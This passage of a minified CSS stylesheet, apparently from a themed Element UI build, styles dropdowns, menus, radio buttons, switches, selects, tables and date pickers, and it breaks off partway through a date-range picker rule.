.el-icon-loading{vertical-align:middle}.el-dropdown{display:inline-block;position:relative;color:#606266;font-size:14px}.el-dropdown .el-button-group{display:block}.el-dropdown .el-button-group .el-button{float:none}.el-dropdown .el-dropdown__caret-button{padding-left:5px;padding-right:5px;position:relative;border-left:none}.el-dropdown .el-dropdown__caret-button::before{content:'';position:absolute;display:block;width:1px;top:5px;bottom:5px;left:0;background:rgba(255,255,255,.5)}.el-dropdown .el-dropdown__caret-button.el-button--default::before{background:rgba(220,223,230,.5)}.el-dropdown .el-dropdown__caret-button:hover::before{top:0;bottom:0}.el-dropdown .el-dropdown__caret-button .el-dropdown__icon{padding-left:0}.el-dropdown__icon{font-size:12px;margin:0 3px}.el-dropdown-menu{position:absolute;top:0;left:0;padding:10px 0;margin:5px 0;background-color:#fff;border:1px solid #ebeef5;border-radius:4px;box-shadow:0 2px 12px 0 rgba(0,0,0,.1)}.el-dropdown-menu__item{list-style:none;line-height:36px;padding:0 20px;margin:0;font-size:14px;color:#606266;cursor:pointer;outline:0}.el-dropdown-menu__item:focus,.el-dropdown-menu__item:not(.is-disabled):hover{background-color:#ecf5ff;color:#66b1ff}.el-dropdown-menu__item i{margin-right:5px}.el-dropdown-menu__item--divided{position:relative;margin-top:6px;border-top:1px solid #ebeef5}.el-dropdown-menu__item--divided:before{content:'';height:6px;display:block;margin:0 -20px;background-color:#fff}.el-dropdown-menu__item.is-disabled{cursor:default;color:#bbb;pointer-events:none}.el-dropdown-menu--medium{padding:6px 0}.el-dropdown-menu--medium .el-dropdown-menu__item{line-height:30px;padding:0 17px;font-size:14px}.el-dropdown-menu--medium .el-dropdown-menu__item.el-dropdown-menu__item--divided{margin-top:6px}.el-dropdown-menu--medium .el-dropdown-menu__item.el-dropdown-menu__item--divided:before{height:6px;margin:0 -17px}.el-dropdown-menu--small{padding:6px 0}.el-dropdown-menu--small .el-dropdown-menu__item{line-height:27px;padding:0 15px;font-size:13px}.el-dropdown-menu--small .el-dropdown-menu__item.el-dropdown-menu__item--divided{margin-top:4px}.el-dropdown-menu--small .el-dropdown-menu__item.el-dropdown-menu__item--divided:before{height:4px;margin:0 -15px}.el-dropdown-menu--mini{padding:3px 0}.el-dropdown-menu--mini .el-dropdown-menu__item{line-height:24px;padding:0 10px;font-size:12px}.el-dropdown-menu--mini .el-dropdown-menu__item.el-dropdown-menu__item--divided{margin-top:3px}.el-dropdown-menu--mini .el-dropdown-menu__item.el-dropdown-menu__item--divided:before{height:3px;margin:0 -10px}.el-menu{border-right:solid 1px #e6e6e6;list-style:none;position:relative;margin:0;padding-left:0;background-color:#fff}.el-menu--horizontal>.el-menu-item:not(.is-disabled):focus,.el-menu--horizontal>.el-menu-item:not(.is-disabled):hover,.el-menu--horizontal>.el-submenu .el-submenu__title:hover{background-color:#fff}.el-menu::after,.el-menu::before{display:table;content:""}.el-menu::after{clear:both}.el-menu.el-menu--horizontal{border-bottom:solid 1px #e6e6e6}.el-menu--horizontal{border-right:none}.el-menu--horizontal>.el-menu-item{float:left;height:60px;line-height:60px;margin:0;border-bottom:2px solid transparent;color:#909399}.el-menu--horizontal>.el-menu-item a,.el-menu--horizontal>.el-menu-item a:hover{color:inherit}.el-menu--horizontal>.el-submenu{float:left}.el-menu--horizontal>.el-submenu:focus,.el-menu--horizontal>.el-submenu:hover{outline:0}.el-menu--horizontal>.el-submenu:focus .el-submenu__title,.el-menu--horizontal>.el-submenu:hover .el-submenu__title{color:#303133}.el-menu--horizontal>.el-submenu.is-active .el-submenu__title{border-bottom:2px solid var(--color-primary,#419488);color:#303133}.el-menu--horizontal>.el-submenu .el-submenu__title{height:60px;line-height:60px;border-bottom:2px solid transparent;color:#909399}.el-menu--horizontal>.el-submenu .el-submenu__icon-arrow{position:static;vertical-align:middle;margin-left:8px;margin-top:-3px}.el-menu--horizontal .el-menu .el-menu-item,.el-menu--horizontal .el-menu .el-submenu__title{background-color:#fff;float:none;height:36px;line-height:36px;padding:0 10px;color:#909399}.el-menu--horizontal .el-menu .el-menu-item.is-active,.el-menu--horizontal .el-menu .el-submenu.is-active>.el-submenu__title{color:#303133}.el-menu--horizontal .el-menu-item:not(.is-disabled):focus,.el-menu--horizontal .el-menu-item:not(.is-disabled):hover{outline:0;color:#303133}.el-menu--horizontal>.el-menu-item.is-active{border-bottom:2px solid var(--color-primary,#419488);color:#303133}.el-menu--collapse{width:64px}.el-menu--collapse>.el-menu-item [class^=el-icon-],.el-menu--collapse>.el-submenu>.el-submenu__title [class^=el-icon-]{margin:0;vertical-align:middle;width:24px;text-align:center}.el-menu--collapse>.el-menu-item .el-submenu__icon-arrow,.el-menu--collapse>.el-submenu>.el-submenu__title .el-submenu__icon-arrow{display:none}.el-menu--collapse>.el-menu-item span,.el-menu--collapse>.el-submenu>.el-submenu__title span{height:0;width:0;overflow:hidden;visibility:hidden;display:inline-block}.el-menu--collapse>.el-menu-item.is-active i{color:inherit}.el-menu--collapse .el-submenu{position:relative}.el-menu--collapse .el-submenu .el-menu{position:absolute;margin-left:5px;top:0;left:100%;border:1px solid #e4e7ed;border-radius:2px;box-shadow:0 2px 12px 0 rgba(0,0,0,.1)}.el-menu-item,.el-submenu__title{height:56px;line-height:56px;position:relative;-webkit-box-sizing:border-box;white-space:nowrap;list-style:none}.el-menu--collapse .el-submenu.is-opened>.el-submenu__title .el-submenu__icon-arrow{-webkit-transform:none;transform:none}.el-menu--popup{z-index:100;border:none;padding:5px 0;border-radius:2px;-webkit-box-shadow:0 2px 12px 0 rgba(0,0,0,.1);box-shadow:0 2px 12px 0 rgba(0,0,0,.1)}.el-menu--popup-bottom-start{margin-top:5px}.el-menu--popup-right-start{margin-left:5px;margin-right:5px}.el-menu-item{font-size:14px;color:#303133;padding:0 20px;cursor:pointer;-webkit-transition:border-color .3s,background-color .3s,color .3s;transition:border-color .3s,background-color .3s,color .3s;box-sizing:border-box}.el-menu-item *{vertical-align:middle}.el-menu-item i{color:#909399}.el-menu-item:focus,.el-menu-item:hover{outline:0;background-color:#ecf5ff}.el-menu-item.is-disabled{opacity:.25;cursor:not-allowed;background:0 0!important}.el-menu-item [class^=el-icon-]{margin-right:5px;width:24px;text-align:center;font-size:18px;vertical-align:middle}.el-menu-item.is-active{color:var(--color-primary,#419488)}.el-menu-item.is-active i{color:inherit}.el-submenu{list-style:none;margin:0;padding-left:0}.el-submenu__title{font-size:14px;color:#303133;padding:0 20px;cursor:pointer;-webkit-transition:border-color .3s,background-color .3s,color .3s;transition:border-color .3s,background-color .3s,color .3s;box-sizing:border-box}.el-submenu__title *{vertical-align:middle}.el-submenu__title i{color:#909399}.el-submenu__title:focus,.el-submenu__title:hover{outline:0;background-color:#ecf5ff}.el-submenu__title.is-disabled{opacity:.25;cursor:not-allowed;background:0 0!important}.el-submenu__title:hover{background-color:#ecf5ff}.el-submenu .el-menu{border:none}.el-submenu .el-menu-item{height:50px;line-height:50px;padding:0 45px;min-width:200px}.el-submenu__icon-arrow{position:absolute;top:50%;right:20px;margin-top:-7px;-webkit-transition:-webkit-transform .3s;transition:-webkit-transform .3s;transition:transform .3s;transition:transform .3s,-webkit-transform .3s;font-size:12px}.el-submenu.is-active .el-submenu__title{border-bottom-color:var(--color-primary,#419488)}.el-submenu.is-opened>.el-submenu__title .el-submenu__icon-arrow{-webkit-transform:rotateZ(180deg);transform:rotateZ(180deg)}.el-submenu.is-disabled .el-menu-item,.el-submenu.is-disabled .el-submenu__title{opacity:.25;cursor:not-allowed;background:0 0!important}.el-submenu [class^=el-icon-]{vertical-align:middle;margin-right:5px;width:24px;text-align:center;font-size:18px}.el-menu-item-group>ul{padding:0}.el-menu-item-group__title{padding:7px 0 7px 20px;line-height:normal;font-size:12px;color:#909399}.el-radio-button__inner,.el-radio-group{display:inline-block;line-height:1;vertical-align:middle}.horizontal-collapse-transition .el-submenu__title .el-submenu__icon-arrow{-webkit-transition:.2s;transition:.2s;opacity:0}.el-radio-group{font-size:0}.el-radio-button{position:relative;display:inline-block;outline:0}.el-radio-button__inner{white-space:nowrap;background:#fff;border:1px solid #dcdfe6;font-weight:500;border-left:0;color:#606266;-webkit-appearance:none;text-align:center;-webkit-box-sizing:border-box;box-sizing:border-box;outline:0;margin:0;position:relative;cursor:pointer;-webkit-transition:all .3s cubic-bezier(.645,.045,.355,1);transition:all .3s cubic-bezier(.645,.045,.355,1);padding:12px 20px;font-size:14px;border-radius:0}.el-radio-button__inner.is-round{padding:12px 20px}.el-radio-button__inner:hover{color:var(--color-primary,#419488)}.el-radio-button__inner [class*=el-icon-]{line-height:.9}.el-radio-button__inner [class*=el-icon-]+span{margin-left:5px}.el-radio-button:first-child .el-radio-button__inner{border-left:1px solid #dcdfe6;border-radius:4px 0 0 4px;-webkit-box-shadow:none!important;box-shadow:none!important}.el-radio-button__orig-radio{opacity:0;outline:0;position:absolute;z-index:-1}.el-radio-button__orig-radio:checked+.el-radio-button__inner{color:#fff;background-color:var(--color-primary,#419488);border-color:var(--color-primary,#419488);-webkit-box-shadow:-1px 0 0 0 var(--color-primary,#419488);box-shadow:-1px 0 0 0 var(--color-primary,#419488)}.el-radio-button__orig-radio:disabled+.el-radio-button__inner{color:#c0c4cc;cursor:not-allowed;background-image:none;background-color:#fff;border-color:#ebeef5;-webkit-box-shadow:none;box-shadow:none}.el-radio-button__orig-radio:disabled:checked+.el-radio-button__inner{background-color:#f2f6fc}.el-radio-button:last-child .el-radio-button__inner{border-radius:0 4px 4px 0}.el-popover,.el-radio-button:first-child:last-child .el-radio-button__inner{border-radius:4px}.el-radio-button--medium .el-radio-button__inner{padding:10px 20px;font-size:14px;border-radius:0}.el-radio-button--medium .el-radio-button__inner.is-round{padding:10px 20px}.el-radio-button--small .el-radio-button__inner{padding:9px 15px;font-size:12px;border-radius:0}.el-radio-button--small .el-radio-button__inner.is-round{padding:9px 15px}.el-radio-button--mini .el-radio-button__inner{padding:7px 15px;font-size:12px;border-radius:0}.el-radio-button--mini .el-radio-button__inner.is-round{padding:7px 15px}.el-radio-button:focus:not(.is-focus):not(:active):not(.is-disabled){-webkit-box-shadow:0 0 2px 2px var(--color-primary,#419488);box-shadow:0 0 2px 2px var(--color-primary,#419488)}.el-switch{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;position:relative;font-size:14px;line-height:20px;height:20px;vertical-align:middle}.el-switch__core,.el-switch__label{display:inline-block;cursor:pointer}.el-switch.is-disabled .el-switch__core,.el-switch.is-disabled .el-switch__label{cursor:not-allowed}.el-switch__label{-webkit-transition:.2s;transition:.2s;height:20px;font-size:14px;font-weight:500;vertical-align:middle;color:#303133}.el-switch__label.is-active{color:var(--color-primary,#419488)}.el-switch__label--left{margin-right:10px}.el-switch__label--right{margin-left:10px}.el-switch__label *{line-height:1;font-size:14px;display:inline-block}.el-switch__input{position:absolute;width:0;height:0;opacity:0;margin:0}.el-switch__core{margin:0;position:relative;width:40px;height:20px;border:1px solid #dcdfe6;outline:0;border-radius:10px;-webkit-box-sizing:border-box;box-sizing:border-box;background:#dcdfe6;-webkit-transition:border-color .3s,background-color .3s;transition:border-color .3s,background-color .3s;vertical-align:middle}.el-switch__core:after{content:"";position:absolute;top:1px;left:1px;border-radius:100%;-webkit-transition:all .3s;transition:all .3s;width:16px;height:16px;background-color:#fff}.el-switch.is-checked .el-switch__core{border-color:var(--color-primary,#419488);background-color:var(--color-primary,#419488)}.el-switch.is-checked .el-switch__core::after{left:100%;margin-left:-17px}.el-switch.is-disabled{opacity:.6}.el-switch--wide .el-switch__label.el-switch__label--left span{left:10px}.el-switch--wide .el-switch__label.el-switch__label--right span{right:10px}.el-switch .label-fade-enter,.el-switch .label-fade-leave-active{opacity:0}.el-select-dropdown{position:absolute;z-index:1001;border:1px solid #e4e7ed;border-radius:4px;background-color:#fff;-webkit-box-shadow:0 2px 12px 0 rgba(0,0,0,.1);box-shadow:0 2px 12px 0 rgba(0,0,0,.1);-webkit-box-sizing:border-box;box-sizing:border-box;margin:5px 0}.el-select-dropdown.is-multiple .el-select-dropdown__item.selected{color:var(--color-primary,#419488);background-color:#fff}.el-select-dropdown.is-multiple .el-select-dropdown__item.selected.hover{background-color:#f5f7fa}.el-select-dropdown.is-multiple .el-select-dropdown__item.selected::after{position:absolute;right:20px;font-family:element-icons;content:"\e6da";font-size:12px;font-weight:700;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.el-select-dropdown .el-scrollbar.is-empty .el-select-dropdown__list{padding:0}.el-select-dropdown__empty{padding:10px 0;margin:0;text-align:center;color:#999;font-size:14px}.el-select-dropdown__wrap{max-height:274px}.el-select-dropdown__list{list-style:none;padding:6px 0;margin:0;-webkit-box-sizing:border-box;box-sizing:border-box}.el-select-dropdown__item{font-size:14px;padding:0 20px;position:relative;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;color:#606266;height:34px;line-height:34px;-webkit-box-sizing:border-box;box-sizing:border-box;cursor:pointer}.el-select-dropdown__item.is-disabled{color:#c0c4cc;cursor:not-allowed}.el-select-dropdown__item.is-disabled:hover{background-color:#fff}.el-select-dropdown__item.hover,.el-select-dropdown__item:hover{background-color:#f5f7fa}.el-select-dropdown__item.selected{color:var(--color-primary,#419488);font-weight:700}.el-select-group{margin:0;padding:0}.el-select-group__wrap{position:relative;list-style:none;margin:0;padding:0}.el-select-group__wrap:not(:last-of-type){padding-bottom:24px}.el-select-group__wrap:not(:last-of-type)::after{content:'';position:absolute;display:block;left:20px;right:20px;bottom:12px;height:1px;background:#e4e7ed}.el-select-group__title{padding-left:20px;font-size:12px;color:#909399;line-height:30px}.el-select-group .el-select-dropdown__item{padding-left:20px}.el-select{display:inline-block;position:relative}.el-select .el-select__tags>span{display:contents}.el-select:hover .el-input__inner{border-color:#c0c4cc}.el-select .el-input__inner{cursor:pointer;padding-right:35px}.el-select .el-input__inner:focus{border-color:var(--color-primary,#419488)}.el-select .el-input .el-select__caret{color:#c0c4cc;font-size:14px;-webkit-transition:-webkit-transform .3s;transition:-webkit-transform .3s;transition:transform .3s;transition:transform .3s,-webkit-transform .3s;-webkit-transform:rotateZ(180deg);transform:rotateZ(180deg);cursor:pointer}.el-select .el-input .el-select__caret.is-reverse{-webkit-transform:rotateZ(0);transform:rotateZ(0)}.el-select .el-input .el-select__caret.is-show-close{font-size:14px;text-align:center;-webkit-transform:rotateZ(180deg);transform:rotateZ(180deg);border-radius:100%;color:#c0c4cc;-webkit-transition:color .2s cubic-bezier(.645,.045,.355,1);transition:color .2s cubic-bezier(.645,.045,.355,1)}.el-select .el-input .el-select__caret.is-show-close:hover{color:#909399}.el-select .el-input.is-disabled .el-input__inner{cursor:not-allowed}.el-select .el-input.is-disabled .el-input__inner:hover{border-color:#e4e7ed}.el-select .el-input.is-focus .el-input__inner{border-color:var(--color-primary,#419488)}.el-select>.el-input{display:block}.el-select__input{border:none;outline:0;padding:0;margin-left:15px;color:#666;font-size:14px;-webkit-appearance:none;-moz-appearance:none;appearance:none;height:28px;background-color:transparent}.el-select__input.is-mini{height:14px}.el-select__close{cursor:pointer;position:absolute;top:8px;z-index:1000;right:25px;color:#c0c4cc;line-height:18px;font-size:14px}.el-select__close:hover{color:#909399}.el-select__tags{position:absolute;line-height:normal;white-space:normal;z-index:1;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-ms-flex-wrap:wrap;flex-wrap:wrap}.el-select .el-tag__close{margin-top:-2px}.el-select .el-tag{-webkit-box-sizing:border-box;box-sizing:border-box;border-color:transparent;margin:2px 0 2px 6px;background-color:#f0f2f5}.el-select .el-tag__close.el-icon-close{background-color:#c0c4cc;right:-7px;top:0;color:#fff}.el-select .el-tag__close.el-icon-close:hover{background-color:#909399}.el-table,.el-table__expanded-cell{background-color:#fff}.el-select .el-tag__close.el-icon-close::before{display:block;-webkit-transform:translate(0,.5px);transform:translate(0,.5px)}.el-table{position:relative;overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-flex:1;-ms-flex:1;flex:1;width:100%;max-width:100%;font-size:14px;color:#606266}.el-table--mini,.el-table--small,.el-table__expand-icon{font-size:12px}.el-table__empty-block{min-height:60px;text-align:center;width:100%;display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.el-table__empty-text{line-height:60px;width:50%;color:#909399}.el-table__expand-column .cell{padding:0;text-align:center}.el-table__expand-icon{position:relative;cursor:pointer;color:#666;-webkit-transition:-webkit-transform .2s ease-in-out;transition:-webkit-transform .2s ease-in-out;transition:transform .2s ease-in-out;transition:transform .2s ease-in-out,-webkit-transform .2s ease-in-out;height:20px}.el-table__expand-icon--expanded{-webkit-transform:rotate(90deg);transform:rotate(90deg)}.el-table__expand-icon>.el-icon{position:absolute;left:50%;top:50%;margin-left:-5px;margin-top:-5px}.el-table__expanded-cell[class*=cell]{padding:20px 50px}.el-table__expanded-cell:hover{background-color:transparent!important}.el-table__placeholder{display:inline-block;width:20px}.el-table__append-wrapper{overflow:hidden}.el-table--fit{border-right:0;border-bottom:0}.el-table--fit td.gutter,.el-table--fit th.gutter{border-right-width:1px}.el-table--scrollable-x .el-table__body-wrapper{overflow-x:auto}.el-table--scrollable-y .el-table__body-wrapper{overflow-y:auto}.el-table thead{color:#909399;font-weight:500}.el-table thead.is-group th{background:#f5f7fa}.el-table th,.el-table tr{background-color:#fff}.el-table td,.el-table th{padding:12px 0;min-width:0;-webkit-box-sizing:border-box;box-sizing:border-box;text-overflow:ellipsis;vertical-align:middle;position:relative;text-align:left}.el-table td.is-center,.el-table th.is-center{text-align:center}.el-table td.is-right,.el-table th.is-right{text-align:right}.el-table td.gutter,.el-table th.gutter{width:15px;border-right-width:0;border-bottom-width:0;padding:0}.el-table--medium td,.el-table--medium th{padding:10px 0}.el-table--small td,.el-table--small th{padding:8px 0}.el-table--mini td,.el-table--mini th{padding:6px 0}.el-table .cell,.el-table--border td:first-child .cell,.el-table--border th:first-child .cell{padding-left:10px}.el-table tr input[type=checkbox]{margin:0}.el-table td,.el-table th.is-leaf{border-bottom:1px solid #ebeef5}.el-table th.is-sortable{cursor:pointer}.el-table th{overflow:hidden;-ms-user-select:none;user-select:none}.el-table th>.cell{display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;vertical-align:middle;padding-left:10px;padding-right:10px;width:100%}.el-table th>.cell.highlight{color:var(--color-primary,#419488)}.el-table th.required>div::before{display:inline-block;content:"";width:8px;height:8px;border-radius:50%;background:#ff4d51;margin-right:5px;vertical-align:middle}.el-table td div{-webkit-box-sizing:border-box;box-sizing:border-box}.el-table td.gutter{width:0}.el-table .cell{-webkit-box-sizing:border-box;box-sizing:border-box;overflow:hidden;text-overflow:ellipsis;white-space:normal;word-break:break-all;line-height:23px;padding-right:10px}.el-table .cell.el-tooltip{white-space:nowrap;min-width:50px}.el-table--border,.el-table--group{border:1px solid #ebeef5}.el-table--border::after,.el-table--group::after,.el-table::before{content:'';position:absolute;background-color:#ebeef5;z-index:1}.el-table--border::after,.el-table--group::after{top:0;right:0;width:1px;height:100%}.el-table::before{left:0;bottom:0;width:100%;height:1px}.el-table--border{border-right:none;border-bottom:none}.el-table--border.el-loading-parent--relative{border-color:transparent}.el-table--border td,.el-table--border th,.el-table__body-wrapper .el-table--border.is-scrolling-left~.el-table__fixed{border-right:1px solid #ebeef5}.el-table--border th.gutter:last-of-type{border-bottom:1px solid #ebeef5;border-bottom-width:1px}.el-table--border th,.el-table__fixed-right-patch{border-bottom:1px solid #ebeef5}.el-table__fixed,.el-table__fixed-right{position:absolute;top:0;left:0;overflow-x:hidden;overflow-y:hidden;-webkit-box-shadow:0 0 10px rgba(0,0,0,.12);box-shadow:0 0 10px rgba(0,0,0,.12)}.el-table__fixed-right::before,.el-table__fixed::before{content:'';position:absolute;left:0;bottom:0;width:100%;height:1px;background-color:#ebeef5;z-index:4}.el-table__fixed-right-patch{position:absolute;top:-1px;right:0;background-color:#fff}.el-table__fixed-right{top:0;left:auto;right:0}.el-table__fixed-right .el-table__fixed-body-wrapper,.el-table__fixed-right .el-table__fixed-footer-wrapper,.el-table__fixed-right .el-table__fixed-header-wrapper{left:auto;right:0}.el-table__fixed-header-wrapper{position:absolute;left:0;top:0;z-index:3}.el-table__fixed-footer-wrapper{position:absolute;left:0;bottom:0;z-index:3}.el-table__fixed-footer-wrapper tbody td{border-top:1px solid #ebeef5;background-color:#f5f7fa;color:#606266}.el-table__fixed-body-wrapper{position:absolute;left:0;top:37px;overflow:hidden;z-index:3}.el-table__body-wrapper,.el-table__footer-wrapper,.el-table__header-wrapper{width:100%}.el-table__footer-wrapper{margin-top:-1px}.el-table__footer-wrapper td{border-top:1px solid #ebeef5}.el-table__body,.el-table__footer,.el-table__header{table-layout:fixed;border-collapse:separate}.el-table__footer-wrapper,.el-table__header-wrapper{overflow:hidden}.el-table__footer-wrapper tbody td,.el-table__header-wrapper tbody td{background-color:#f5f7fa;color:#606266}.el-table__body-wrapper{overflow:hidden;position:relative}.el-table__body-wrapper.is-scrolling-left~.el-table__fixed,.el-table__body-wrapper.is-scrolling-none~.el-table__fixed,.el-table__body-wrapper.is-scrolling-none~.el-table__fixed-right,.el-table__body-wrapper.is-scrolling-right~.el-table__fixed-right{-webkit-box-shadow:none;box-shadow:none}.el-picker-panel,.el-table-filter{-webkit-box-shadow:0 2px 12px 0 rgba(0,0,0,.1)}.el-table__body-wrapper .el-table--border.is-scrolling-right~.el-table__fixed-right{border-left:1px solid #ebeef5}.el-table .caret-wrapper{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-webkit-box-align:center;-ms-flex-align:center;align-items:center;height:34px;width:24px;vertical-align:middle;cursor:pointer;overflow:initial;position:relative}.el-table .sort-caret{width:0;height:0;border:5px solid transparent;position:absolute;left:7px}.el-table .sort-caret.ascending{border-bottom-color:#c0c4cc;top:5px}.el-table .sort-caret.descending{border-top-color:#c0c4cc;bottom:7px}.el-table .ascending .sort-caret.ascending{border-bottom-color:var(--color-primary,#419488)}.el-table .descending .sort-caret.descending{border-top-color:var(--color-primary,#419488)}.el-table .hidden-columns{position:absolute;z-index:-1}.el-table--striped .el-table__body tr.el-table__row--striped td{background:#fafafa}.el-table--striped .el-table__body tr.el-table__row--striped.current-row td{background-color:#ecf5ff}.el-table__body tr.hover-row.current-row>td,.el-table__body tr.hover-row.el-table__row--striped.current-row>td,.el-table__body tr.hover-row.el-table__row--striped>td,.el-table__body tr.hover-row>td{background-color:#f5f7fa}.el-table__body tr.current-row>td{background-color:#ecf5ff}.el-table__column-resize-proxy{position:absolute;left:200px;top:0;bottom:0;width:0;border-left:1px solid #ebeef5;z-index:10}.el-table__column-filter-trigger{display:inline-block;line-height:34px;cursor:pointer}.el-table__column-filter-trigger i{color:#909399;font-size:12px;-webkit-transform:scale(.75);transform:scale(.75)}.el-table--enable-row-transition .el-table__body td{-webkit-transition:background-color .25s ease;transition:background-color .25s ease}.el-table--enable-row-hover .el-table__body tr:hover>td{background-color:#f5f7fa}.el-table--fluid-height .el-table__fixed,.el-table--fluid-height .el-table__fixed-right{bottom:0;overflow:hidden}.el-table [class*=el-table__row--level] .el-table__expand-icon{display:inline-block;width:20px;line-height:20px;height:20px;text-align:center;margin-right:3px}.el-table-column--selection .cell{padding-left:14px;padding-right:14px}.el-table-filter{border:1px solid #ebeef5;border-radius:2px;background-color:#fff;box-shadow:0 2px 12px 0 rgba(0,0,0,.1);-webkit-box-sizing:border-box;box-sizing:border-box;margin:2px 0}.el-date-table td,.el-date-table td div{height:30px;-webkit-box-sizing:border-box}.el-table-filter__list{padding:5px 0;margin:0;list-style:none;min-width:100px}.el-table-filter__list-item{line-height:36px;padding:0 10px;cursor:pointer;font-size:14px}.el-table-filter__list-item:hover{background-color:#ecf5ff;color:#66b1ff}.el-table-filter__list-item.is-active{background-color:var(--color-primary,#419488);color:#fff}.el-table-filter__content{min-width:100px}.el-table-filter__bottom{border-top:1px solid #ebeef5;padding:8px}.el-table-filter__bottom button{background:0 0;border:none;color:#606266;cursor:pointer;font-size:13px;padding:0 3px}.el-date-table td.in-range div,.el-date-table td.in-range div:hover,.el-date-table.is-week-mode .el-date-table__row.current div,.el-date-table.is-week-mode .el-date-table__row:hover div{background-color:#f2f6fc}.el-table-filter__bottom button:hover{color:var(--color-primary,#419488)}.el-table-filter__bottom button:focus{outline:0}.el-table-filter__bottom button.is-disabled{color:#c0c4cc;cursor:not-allowed}.el-table-filter__wrap{max-height:280px}.el-table-filter__checkbox-group{padding:10px}.el-table-filter__checkbox-group label.el-checkbox{display:block;margin-right:5px;margin-bottom:8px;margin-left:5px}.el-table-filter__checkbox-group .el-checkbox:last-child{margin-bottom:0}.el-date-table{font-size:12px;-ms-user-select:none;user-select:none}.el-date-table.is-week-mode .el-date-table__row:hover td.available:hover{color:#606266}.el-date-table.is-week-mode .el-date-table__row:hover td:first-child div{margin-left:5px;border-top-left-radius:15px;border-bottom-left-radius:15px}.el-date-table.is-week-mode .el-date-table__row:hover td:last-child div{margin-right:5px;border-top-right-radius:15px;border-bottom-right-radius:15px}.el-date-table td{width:32px;padding:4px 0;box-sizing:border-box;text-align:center;cursor:pointer;position:relative}.el-date-table td div{padding:3px 0;box-sizing:border-box}.el-date-table td span{width:24px;height:24px;display:block;margin:0 auto;line-height:24px;position:absolute;left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%);border-radius:50%}.el-date-table td.next-month,.el-date-table td.prev-month{color:#c0c4cc}.el-date-table td.today{position:relative}.el-date-table td.today span{color:var(--color-primary,#419488);font-weight:700}.el-date-table td.today.end-date span,.el-date-table td.today.start-date span{color:#fff}.el-date-table td.available:hover{color:var(--color-primary,#419488)}.el-date-table td.current:not(.disabled) span{color:#fff;background-color:var(--color-primary,#419488)}.el-date-table td.end-date div,.el-date-table td.start-date div{color:#fff}.el-date-table td.end-date span,.el-date-table td.start-date span{background-color:var(--color-primary,#419488)}.el-date-table td.start-date div{margin-left:5px;border-top-left-radius:15px;border-bottom-left-radius:15px}.el-date-table td.end-date div{margin-right:5px;border-top-right-radius:15px;border-bottom-right-radius:15px}.el-date-table td.disabled div{background-color:#f5f7fa;opacity:1;cursor:not-allowed;color:#c0c4cc}.el-date-table td.selected div{margin-left:5px;margin-right:5px;background-color:#f2f6fc;border-radius:15px}.el-date-table td.selected div:hover{background-color:#f2f6fc}.el-date-table td.selected span{background-color:var(--color-primary,#419488);color:#fff;border-radius:15px}.el-date-table td.week{font-size:80%;color:#606266}.el-month-table,.el-year-table{font-size:12px;border-collapse:collapse}.el-date-table th{padding:5px;color:#606266;font-weight:400;border-bottom:solid 1px #ebeef5}.el-month-table{margin:-1px}.el-month-table td{text-align:center;padding:8px 0;cursor:pointer}.el-month-table td div{height:48px;padding:6px 0;-webkit-box-sizing:border-box;box-sizing:border-box}.el-month-table td.today .cell{color:var(--color-primary,#419488);font-weight:700}.el-month-table td.today.end-date .cell,.el-month-table td.today.start-date .cell{color:#fff}.el-month-table td.disabled .cell{background-color:#f5f7fa;cursor:not-allowed;color:#c0c4cc}.el-month-table td.disabled .cell:hover{color:#c0c4cc}.el-month-table td .cell{width:60px;height:36px;display:block;line-height:36px;color:#606266;margin:0 auto;border-radius:18px}.el-month-table td .cell:hover{color:var(--color-primary,#419488)}.el-month-table td.in-range div,.el-month-table td.in-range div:hover{background-color:#f2f6fc}.el-month-table td.end-date div,.el-month-table td.start-date div{color:#fff}.el-month-table td.end-date .cell,.el-month-table td.start-date .cell{color:#fff;background-color:var(--color-primary,#419488)}.el-month-table td.start-date div{border-top-left-radius:24px;border-bottom-left-radius:24px}.el-month-table td.end-date div{border-top-right-radius:24px;border-bottom-right-radius:24px}.el-month-table td.current:not(.disabled) .cell{color:var(--color-primary,#419488)}.el-year-table{margin:-1px}.el-year-table .el-icon{color:#303133}.el-year-table td{text-align:center;padding:20px 3px;cursor:pointer}.el-year-table td.today .cell{color:var(--color-primary,#419488);font-weight:700}.el-year-table td.disabled .cell{background-color:#f5f7fa;cursor:not-allowed;color:#c0c4cc}.el-year-table td.disabled .cell:hover{color:#c0c4cc}.el-year-table td .cell{width:48px;height:32px;display:block;line-height:32px;color:#606266;margin:0 auto}.el-year-table td .cell:hover,.el-year-table td.current:not(.disabled) .cell{color:var(--color-primary,#419488)}.el-date-range-picker{width:646px}.el-date-range-picker.has-sidebar{width:756px}.el-date-range-picker table{table-layout:fixed;width:100%}.el-date-range-picker .el-picker-panel__body{min-width:513px}.el-date-range-picker .el-picker-panel__content{margin:0}.el-date-range-picker__header{position:relative;text-align:center;height:28px}.el-date-range-picker__header [class*=arrow-left]{float:left}.el-date-range-picker__header [class*=arrow-right]{float:right}.el-date-range-picker__header div{font-size:16px;font-weight:500;margin-right:50px}.el-date-range-picker__content{float:left;width:50%;-webkit-box-sizing:border-box;box-sizing:border-box;margin:0;padding:16px}.el-date-range-picker__content.is-left{border-right:1px solid #e4e4e4}.el-date-range-picker__content .el-date-range-picker__header div{margin-left:50px;margin-right:50px}.el-date-range-picker__editors-wrap{-webkit-box-sizing:border-box;box-sizing:border-box;display:table-cell}.el-date-range-picker__editors-wrap.is-right{text-align:right}.el-date-range-picker__time-header{position:relative;border-bottom:1px solid #e4e4e4;font-size:12px;padding:8px 5px 